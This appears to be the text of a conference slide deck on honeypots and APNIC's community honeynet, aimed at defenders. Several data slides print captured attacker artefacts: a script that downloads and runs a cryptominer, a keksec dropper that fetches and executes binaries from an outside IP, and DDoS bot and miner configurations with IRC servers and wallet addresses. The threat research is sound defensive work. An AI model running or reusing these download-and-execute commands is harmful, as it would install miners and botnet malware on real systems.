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1
Honeypots Unveiled: Proactive
Defense Tactics for Cyber Security
Adli Wahid
www.apnic.net
2
2
Let’s Connect!
• LinkedIn: Adli Wahid
• Senior Internet Security Specialist at APNIC
– www.apnic.net
• Previous:
– Bank of Tokyo Mitsubishi UFJ
– Malaysia Computer Emergency Response Team /
CyberSecurity Malaysia
– Various volunteer roles in different organisations
3
3
The Plan
• Demystifying Honeypots
• Honeypot / Honeynet for Defenders
• Deploying Honeypots
• APNIC Community Honeynet Project
4
4
Honeypots in a nutshell
• System(s) and digital artifacts deployed to attract adversary
• Honeynet - a collection of honeypots + tools to
monitor/deploy/alert
• There’s more than one way to deploy honeypots &
honeynet
5
5
Honeypots in a Nutshell (2)
• Context
– Where is it deployed?
– How accessible or reachable is it?
• Objectives
– Learning & Research
– Detection!
• Assumption
– The honeypot has nothing of value
– Any activity is suspect, need to be investigated!
Honeypots
On the
Internet
(Public IP)
Honeypots In
Office
Network
6
External Honeypot
Icons from Flaticon
Honeypot
Honeypot
Internal network & assests
7
Internal Honeypot
Icons by Flaticon
Honeypot
Internal network & assests
Honeypot
tokens
8
HoneyTokens
• Digital artifacts instead of system
• Goal: Trick adversary into using / touch it
• Use for detection of presence.
• Token will trigger alert
• Location: Where/what you want to detect.
• Many possible forms :
– Files, qrcode, credentials, database dump, URL
Secret.pdf
9
9
Passive but Proactive
• Passive – waits to be triggered
• Proactive
– In intention and deployment
– Don’t wait for something to happen
– Anticipate adversary next move
• Characteristics (Strategy)
– Deception – mimicks a real system/artifact
– Discoverability – location is key for valuable insights
– Interactivity – lures adversary to share more
– Monitoring – logging and alerting
Deception
Discoverability
Interactivity
Monitoring
10
10
Intrusion Detection
• Key concept in Security / Incident Response
• Scenario/Question based –
– How do I know if my {server, laptop, AD, Firewall, Network}
is breached.
– What if my other controls (AV, IDS, FW, etc) are bypassed?
• A few areas
- Recon
– - Initial Access
– - Execution
• Leads to mitigation / remediation
• Complement other security counter measures (that
may have failed)
• Investigation – digging deeper into the activity,
artifacts and tools
Zotob in 2005
Are we infectected?
11
11
MITRE Attack Framework
• Tactics & Techniques to
accomplish the adversary
objectives
– http://attack.mitre.org/
• MITRE DEFEND – cyber
security counter measures
– Deceive
– Connected Honeynet, Integrated
Honeynet, Standalone Honeynet
12
https://d3fend.mitre.org/
13
https://d3fend.mitre.org/technique/
14
14
Demystifying Honeypots/Honeynet
• Can Attackers Detect the Honeypot?
• What if Attacker know that they are
inside a honeypot?
• I already have firewall …
• Is it expensive?
15
What’s In It For Defenders?
16
16
Data Driven Defense
Data
Research &
Analysis
Information
for
Mitigation
Better Tools
Defenders
(You & I)
17
17
What Data?
• Infrastructure – hosts, c2, domains
• Artefacts – malware, scripts
• Tactics / Techniques
• Vulnerabilities
Actionable
Information
18
18
For the Analysts/Defenders
• Sharpen your skills + capabilities
• Specialized in certain types of attacks or focus on threat
actors
• Opportunity for community engagement etc
19
Let’s Look at some data
(last 24 hours)
20
20
21
Scripts
22
Scripts (bot2.py)
23
23
Open Directory
Open Directory with pre-compiled binaries for different architecture
24
More Data – Mid/Long Term Observations
25
200.4.111.90,hxxp://209.97.132.66/miner.sh
199.19.225.172,hxxp://download.c3pool.com/xmrig_setup/raw/master/setup_c3pool_miner.sh
198.98.54.17,hxxp://download.c3pool.com/xmrig_setup/raw/master/setup_c3pool_miner.sh
194.85.248.46,hxxp://download.c3pool.com/xmrig_setup/raw/master/setup_c3pool_miner.sh
194.61.0.210,hxxp://209.97.132.66/miner.sh
194.59.204.33,hxxp://106.10.122.53/miner.sh
193.228.194.203,hxxp://106.10.122.53/miner.sh
193.176.78.138,hxxp://106.10.122.53/miner.sh
192.99.7.127,hxxp://58.135.80.99/a/miner.sh
192.81.216.156,hxxp://58.135.80.99/a/miner.sh
192.187.20.135,hxxp://58.135.80.99/a/miner.sh
191.232.49.146,hxxp://209.97.132.66:81/miner.sh
187.167.235.103,hxxp://209.97.132.66:81/miner.sh
185.70.93.16,hxxp://58.135.80.99/a/miner.sh
185.238.72.212,hxxp://209.97.132.66/miner.sh
185.193.136.69,hxxp://58.135.80.99/a/miner.sh
18.157.95.10,hxxp://106.10.122.53/miner.sh
180.250.124.195,hxxp://58.135.80.99/a/miner.sh
7.189.3.160,hxxp://164.90.199.163/nbminereth.rar
107.189.1.85,hxxp://164.90.199.163/nbminereth.rar
103.41.207.7,hxxp://58.135.80.99/a/miner.sh
103.254.153.159,hxxp://58.135.80.99/a/miner.sh
103.171.88.198,hxxp://106.10.122.53/miner.sh
Artefacts related
to Cryptominers
26
"pools": [
{
"algo": null,
"coin": null,
"url": "pool.hashvault.pro:80",
"user":
"49oZc6c6rB58TD6KmU2m5qGGbmdeknXgQHrU[redact
ed]TqrjpzwdTTnwhShnoWz4BbKAMfWLNApG6ARGoS",
[redacted]
Details in Configuration files
$server = 'gsm.ftp.sh' unless $server;
my $port = '1080';
my $linas_max='8';
my $sleep='5';
my $homedir = "/tmp";
my $version = 'DDoS Perl Bot v1.0';
my @admins = ("w","z","x","y");
my @hostauth = ("HSBC.users.undernet.org");
my @channels = ("#w");
Wallet Address
IRC server details
27
#!/bin/bash
reset
cd /tmp && curl -O https://raw.githubusercontent.com/robertreynolds2/mine/main/mina.tar &&
tar -xf mina.tar && rm -rf mina.tar && chmod +x update logs && bash ./logs > /dev/null
2>&1
#!/bin/sh
reset
./update --algorithm minotaurx;minotaurx;minotaurx --pool
stratum+tcp://minotaurx.mine.zergpool.com:7019;stratum+tcp://minotaurx.na.mine.zergpool.com:701
9;stratum+tcp://minotaurx.eu.mine.zergpool.com:7019 --wallet
TF9Mph5JYPTjK9YukuEA8Urkgro9GmiEF8.AV;TF9Mph5JYPTjK9YukuEA8Urkgro9GmiEF8.LC;TF9Mph5JYPTjK9Yuku
EA8Urkgro9GmiEF8.MZ --password c=TRX,mc=AVN,ID=MINA;c=TRX,mc=LCC,ID=MINA;c=TRX,mc=MAZA,ID=MINA
--cpu-threads 0;0;0 --disable-gpu --log-file ./Log/log-mina.txt > /dev/null 2>&1 &
28
29
29
keksec
30
#!/bin/sh
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /
curl http://173.230.138.79/bins/keksec.mips -O; busybox curl http://173.230.138.79/bins/keksec.mips -O; wget
http://173.230.138.79/bins/keksec.mips -O keksec.mips; busybox wget http://173.230.138.79/bins/keksec.mips -O
keksec.mips; chmod 777 keksec.mips; ./keksec.mips; rm -rf keksec.mips
curl http://173.230.138.79/bins/keksec.mpsl -O; busybox curl http://173.230.138.79/bins/keksec.mpsl -O; wget
http://173.230.138.79/bins/keksec.mpsl -O keksec.mpsl; busybox wget http://173.230.138.79/bins/keksec.mpsl -O
keksec.mpsl; chmod 777 keksec.mpsl; ./keksec.mpsl; rm -rf keksec.mpsl
curl http://173.230.138.79/bins/keksec.sh4 -O; busybox curl http://173.230.138.79/bins/keksec.sh4 -O; wget
http://173.230.138.79/bins/keksec.sh4 -O keksec.sh4; busybox wget http://173.230.138.79/bins/keksec.sh4 -O keksec.sh4;
chmod 777 keksec.sh4; ./keksec.sh4; rm -rf keksec.sh4
curl http://173.230.138.79/bins/keksec.x86 -O; busybox curl http://173.230.138.79/bins/keksec.x86 -O; wget
http://173.230.138.79/bins/keksec.x86 -O keksec.x86; busybox wget http://173.230.138.79/bins/keksec.x86 -O keksec.x86;
chmod 777 keksec.x86; ./keksec.x86; rm -rf keksec.x86
curl http://173.230.138.79/bins/keksec.arm7 -O; busybox curl http://173.230.138.79/bins/keksec.arm7 -O; wget
http://173.230.138.79/bins/keksec.arm7 -O keksec.arm7; busybox wget http://173.230.138.79/bins/keksec.arm7 -O
keksec.arm7; chmod 777 keksec.arm7; ./keksec.arm7; rm -rf keksec.arm7
curl http://173.230.138.79/bins/keksec.x64 -O; busybox curl http://173.230.138.79/bins/keksec.x64 -O; wget
http://173.230.138.79/bins/keksec.x64 -O keksec.x64; busybox wget http://173.230.138.79/bins/keksec.x64 -O keksec.x64;
chmod 777 keksec.x64; ./keksec.x64; rm -rf keksec.x64
curl http://173.230.138.79/bins/keksec.ppc -O; busybox curl http://173.230.138.79/bins/keksec.ppc -O; wget
http://173.230.138.79/bins/keksec.ppc -O keksec.ppc; busybox wget http://173.230.138.79/bins/keksec.ppc -O keksec.ppc;
chmod 777 keksec.ppc; ./keksec.ppc; rm -rf keksec.ppc
curl http://173.230.138.79/bins/keksec.i586 -O; busybox curl http://173.230.138.79/bins/keksec.i586 -O; wget
http://173.230.138.79/bins/keksec.i586 -O keksec.i586; busybox wget http://173.230.138.79/bins/keksec.i586 -O
keksec.i586; chmod 777 keksec.i586; ./keksec.i586; rm -rf keksec.i586
curl http://173.230.138.79/bins/keksec.m68k -O; busybox curl http://173.230.138.79/bins/keksec.m68k -O; wget
http://173.230.138.79/bins/keksec.m68k -O keksec.m68k; busybox wget http://173.230.138.79/bins/keksec.m68k -O
keksec.m68k; chmod 777 keksec.m68k; ./keksec.m68k; rm -rf keksec.m68k
curl http://173.230.138.79/bins/keksec.spc -O; busybox curl http://173.230.138.79/bins/keksec.spc -O; wget
http://173.230.138.79/bins/keksec.spc -O keksec.spc; busybox wget http://173.230.138.79/bins/keksec.spc -O keksec.spc;
chmod 777 keksec.spc; ./keksec.spc; rm -rf keksec.spc
hxxp://173.230.138.79/update.sh
31
Open Directory hxxp://173.230.138.79/bins
32
Download all the compiled binaries
33
34
Load Binary in (simple) Linux Sandbox – run for 20 seconds
35
Load in Wireshark – connection to 173.230.138.79 on port 7000
36
Connected to IRC Server (unencrypted)
37
37
Observing Trends
• Q: Is there effective remediation after reporting/sharing?
• A: Trend analysis is possible with data collection J
38
38
Changing Infrastructure
• DDoS Botnet
– Started with just 4 hosts in April
2021
– More than 12k ip addresses by end
of 2021
• Evolution IPs hosting the scripts
– April 21 – Jan 22
o hxxp://71.127.148.69/.x/*.sh
– Jan 22 – Feb 22
o hxxp://202.110.187.205/.x/*.sh
– Feb 22 – May 22
o hxxp://61.177.137.133/.x/*.sh
39
39
ns2.jpg & ns3.jpg (cryptominer)
• Interesting pattern in list of URL
hxxp://sos.vivi.sg/ns3.jpg
hxxp://sos.vivi.sg/ns2.jpg
hxxp://mangocorner.com.sg/img/ns2.jpg
hxxp://159.89.203.165/ns3.jpg
hxxp://139.9.49.0/ns3.jpg
hxxp://139.9.49.0/ns2.jpg
hxxp://129.226.145.210/ns3.jpg
hxxp://124.70.7.7/ns3.jpg
hxxp://124.70.7.7/ns2.jpg
hxxp://124.156.198.77/ns3.jpg
hxxp://103.240.90.249/ns2.jpg
hxxp://101.43.196.249/ns3.jpg
Last 15 Months
40
APNIC Community Honeynet Project
41
41
APNIC Community Honeynet Project
• 2014
– Workshop at BDNOG in Dhaka
– Focus on analyzing artefacts (logs, traffic and incident response)
– Post training: lots of interests to deploy honeypots and learn together
• 2015-2017
– Multiple honeypot sensors across the region
– Simple backend to collect data
– Experiment with generating feeds, more workshops/talks & data sharing
• 2018 – now
– APNIC Community Honeynet Project established
– 200+ sensors
– Threat data shared with wider community
– Workshops / Training based on Honeynet Data
– Project Funded by APNIC Foundation since 2021
42
42
Infrastructure
• 200 honeypots
– A few active partners but mostly owned APNIC
– Majority are SSH/Telnet Honeypots (Cowrie)
– Focus mainly on Linux based malware
– Plan to expand to cover other types of interesting** attacks
– Sensors will be 400 by end of 2024
• Data Collection
– All logs stored is ElasticSearch
– Other artefacts (shell scripts, binaries) are also collected
– Processing (i.e. feed generation) done with custom scripts etc
– Nature of data:
• Actionable now vs Further Research
43
43
Backend Overview
S
1
CHN*
S
2
S
3
S
4
Logstash
Web
DB
ElasticSearch
DASH
Dash.apnic.net
Slack
Bash
Daily Feeds
Dashboard
ShadowServer
MISP
Other CERTS
S# - Sensor
TLP: AMBER
enrichment
Sandbox
Backup,
Monitor
Other
Systems
APNIC Members
TOR
44
44
Data Processing & Storage
• Logstash
– Removing Unnecessary data
– Enrichment (i.e. IP address, File hash lookup from VirusTotal)
– Do we do now or later?
– Volatility of data vs your capacity
• Elasticsearch
– JSON Format (field: value)
– Practical for Searching i.e. via scripts
– i.e. binary download:
• On a separate system
• Pull URL field & value
• use TOR to download
• Many other tools – malware sandbox, MISP, Suricata, Zeek, Malcolm
45
Last 10/2022 – 01/2024
46
46
Summary
• Honeypots / Honeynet provides value to
defenders.
• Complement other security controls and counter
measures
• 2 Ways
– Intrusion Detection
– Learning / Analysis
• Enhance Security Defender / Analyst
• Deploy a honeypot today! J
47
Let’s Collaborate
• Adli Wahid (LinkedIn)
• adli@apnic.net

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